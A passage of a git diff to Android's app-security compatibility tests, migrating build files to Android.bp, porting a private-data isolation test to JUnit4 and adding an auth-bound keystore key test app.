             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyCategory", user);
@@ -170,7 +159,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testCache() throws Exception {
         // To make the cache clearing logic easier to verify, ignore any cache
         // and low space reserved space.
@@ -197,7 +185,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testFullDisk() throws Exception {
         // Clear all other cached and external storage data to give ourselves a
         // clean slate to test against
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
deleted file mode 100644
index 7ac3efb..0000000
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.appsecurity.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-/**
- * Set of tests that verify behavior of runtime permissions, including both
- * dynamic granting and behavior of legacy apps.
- */
-@AppModeFull // TODO: Needs porting to instant
-public class UsesLibraryHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-    private static final String PKG = "com.android.cts.useslibrary";
-
-    private static final String APK = "CtsUsesLibraryApp.apk";
-    private static final String APK_COMPAT = "CtsUsesLibraryAppCompat.apk";
-
-    private IAbi mAbi;
-    private CompatibilityBuildHelper mBuildHelper;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        Utils.prepareSingleUser(getDevice());
-        assertNotNull(mAbi);
-        assertNotNull(mBuildHelper);
-
-        getDevice().uninstallPackage(PKG);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        getDevice().uninstallPackage(PKG);
-    }
-
-    public void testUsesLibrary() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testUsesLibrary");
-    }
-
-    public void testMissingLibrary() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testMissingLibrary");
-    }
-
-    public void testDuplicateLibrary() throws Exception {
-        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
-    }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
-    }
-}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index fda6551..4601309 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,19 +32,6 @@
 public class Utils {
     public static final int USER_SYSTEM = 0;
 
-    public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
-            String testClassName, String testMethodName) throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
-                null);
-    }
-
-    public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
-            String testClassName, String testMethodName, Map<String, String> testArgs)
-                    throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
-                testArgs);
-    }
-
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
@@ -140,11 +127,10 @@
     public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
             throws DeviceNotAvailableException {
         final int[] userIds = getAllUsers(device);
-        int currentUserId = device.getCurrentUser();
         for (int i = 1; i < userIds.length; i++) {
             if (i < maxUsers) {
                 device.startUser(userIds[i]);
-            } else if (userIds[i] != currentUserId) {
+            } else {
                 device.stopUser(userIds[i]);
             }
         }
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
new file mode 100644
index 0000000..806fb92
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsAccessSerialLegacy",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "27",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
deleted file mode 100644
index 190dd07..0000000
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAccessSerialLegacy
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
new file mode 100644
index 0000000..1fc4ec4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsAccessSerialModern",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    min_sdk_version: "27",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
deleted file mode 100644
index dd893aa..0000000
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAccessSerialModern
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
new file mode 100644
index 0000000..734376b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAppAccessData",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // although not strictly necessary, sign this app with different cert than CtsAppWithData
+    certificate: ":cts-testkey2",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
deleted file mode 100644
index b55656e..0000000
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := CtsAppAccessData
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# although not strictly necessary, sign this app with different cert than CtsAppWithData
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index d47b4bd..fdbb439 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.appaccessdata">
+       package="com.android.cts.appaccessdata"
+       android:targetSandboxVersion="2">
 
     <!--
     A simple app to test that other apps cannot access another app's private data.
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index 7a64583..b1f804e 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -16,6 +16,10 @@
 
 package com.android.cts.appaccessdata;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
@@ -24,24 +28,27 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.test.AndroidTestCase;
 
-import java.io.BufferedReader;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
-import java.io.FileReader;
 import java.io.IOException;
 import java.net.InetSocketAddress;
 import java.net.Socket;
-import java.net.SocketAddress;
 
 /**
  * Test that another app's private data cannot be accessed, while its public data can.
  *
  * Assumes that {@link #APP_WITH_DATA_PKG} has already created the private and public data.
  */
-public class AccessPrivateDataTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessPrivateDataTest {
 
     /**
      * The Android package name of the application that owns the data
@@ -68,6 +75,7 @@
      * and detailed traffic stats.
      * @throws IOException
      */
+    @Test
     public void testAccessPrivateData() throws IOException {
         try {
             // construct the absolute file path to the app's private file
@@ -84,7 +92,7 @@
 
     private ApplicationInfo getApplicationInfo(String packageName) {
         try {
-            return mContext.getPackageManager().getApplicationInfo(packageName, 0);
+            return InstrumentationRegistry.getContext().getPackageManager().getApplicationInfo(packageName, 0);
         } catch (PackageManager.NameNotFoundException e) {
             throw new IllegalStateException("Expected package not found: " + e);
         }
@@ -94,6 +102,7 @@
      * Tests that another app's public file can be accessed
      * @throws IOException
      */
+    @Test
     public void testAccessPublicData() throws IOException {
         try {
             // construct the absolute file path to the other app's public file
@@ -108,6 +117,7 @@
         }
     }
 
+    @Test
     public void testAccessProcQtaguidTrafficStatsFailed() {
         // For untrusted app with SDK P or above, proc/net/xt_qtaguid files are no long readable.
         // They can only read their own stats from TrafficStats API. The test for TrafficStats API
@@ -116,10 +126,11 @@
             new File(QTAGUID_STATS_FILE).canRead());
     }
 
+    @Test
     public void testAccessPrivateTrafficStats() {
         int otherAppUid = -1;
         try {
-            otherAppUid = getContext()
+            otherAppUid = InstrumentationRegistry.getContext()
                     .createPackageContext(APP_WITH_DATA_PKG, 0 /*flags*/)
                     .getApplicationInfo().uid;
         } catch (NameNotFoundException e) {
@@ -133,7 +144,14 @@
         assertEquals(UNSUPPORTED, TrafficStats.getUidTxPackets(otherAppUid));
     }
 
+    @Test
     public void testTrafficStatsStatsUidSelf() throws Exception {
+        final boolean isInstant = Boolean.parseBoolean(
+                InstrumentationRegistry.getArguments().getString("is_instant"));
+        // test not applicable for instant applications; they cannot shift blame
+        if (isInstant) {
+            return;
+        }
         final int uid = android.os.Process.myUid();
         final long rxb = TrafficStats.getUidRxBytes(uid);
         final long rxp = TrafficStats.getUidRxPackets(uid);
@@ -141,7 +159,7 @@
         final long txp = TrafficStats.getUidTxPackets(uid);
 
         // Start remote server
-        final int port = getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+        final int port = InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
                 .getInt("port");
 
         // Try talking to them, but shift blame
@@ -151,7 +169,7 @@
 
             Bundle extras = new Bundle();
             extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
-            getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
 
             socket.connect(new InetSocketAddress("localhost", port));
 
@@ -163,7 +181,7 @@
         } catch (IOException e) {
             throw new RuntimeException(e);
         } finally {
-            getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
         }
 
         SystemClock.sleep(1000);
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
new file mode 100644
index 0000000..7527463
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAppWithData",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
deleted file mode 100644
index 2966c48..0000000
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := CtsAppWithData
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index cf9d404..cf85210 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.appwithdata">
+       package="com.android.cts.appwithdata"
+       android:targetSandboxVersion="2">
 
     <!--
     A simple app to test that other apps cannot access another app's private data.
@@ -30,7 +31,8 @@
         <provider
             android:name="com.android.cts.appwithdata.MyProvider"
             android:authorities="com.android.cts.appwithdata"
-            android:exported="true" />
+            android:exported="true"
+            android:visibleToInstantApps="true" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
new file mode 100644
index 0000000..14572b7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApplicationVisibilityCrossUserApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
deleted file mode 100644
index d70de42..0000000
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsApplicationVisibilityCrossUserApp
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
new file mode 100644
index 0000000..7355721
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "AuthBoundKeyApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["android-support-test"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsUsePermissionDiffCert
+    certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
new file mode 100644
index 0000000..e8e332b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.authboundkeyapp">
+
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27" />
+
+    <application android:label="AuthBoundKeyApp">
+        <activity android:name=".BaseActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.authboundkeyapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/src/com/android/cts/authboundkey/AuthBoundKeyAppTest.java b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/src/com/android/cts/authboundkey/AuthBoundKeyAppTest.java
new file mode 100644
index 0000000..fe8d18b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/src/com/android/cts/authboundkey/AuthBoundKeyAppTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.authboundkeyapp;
+
+import static junit.framework.Assert.assertFalse;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyPermanentlyInvalidatedException;
+import android.security.keystore.KeyProperties;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+import android.util.Log;
+
+import java.security.KeyStore;
+import java.security.UnrecoverableKeyException;
+
+import javax.crypto.Cipher;
+import javax.crypto.KeyGenerator;
+import javax.crypto.SecretKey;
+
+public class AuthBoundKeyAppTest extends AndroidTestCase {
+    private static final String KEY_NAME = "nice_key";
+    private static final String KEYSTORE = "AndroidKeyStore";
+    public void testGenerateAuthBoundKey() throws Exception {
+        KeyStore keyStore = KeyStore.getInstance(KEYSTORE);
+        keyStore.load(null);
+        KeyGenerator keyGenerator = KeyGenerator.getInstance(
+                KeyProperties.KEY_ALGORITHM_AES, KEYSTORE);
+        keyGenerator.init(new KeyGenParameterSpec.Builder(
+            KEY_NAME, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+            .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
+            .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
+            .setUserAuthenticationRequired(true)
+            .setUserAuthenticationValidityDurationSeconds(15)
+            .build());
+        keyGenerator.generateKey();
+    }
+
+    public void testUseKey() throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        try {
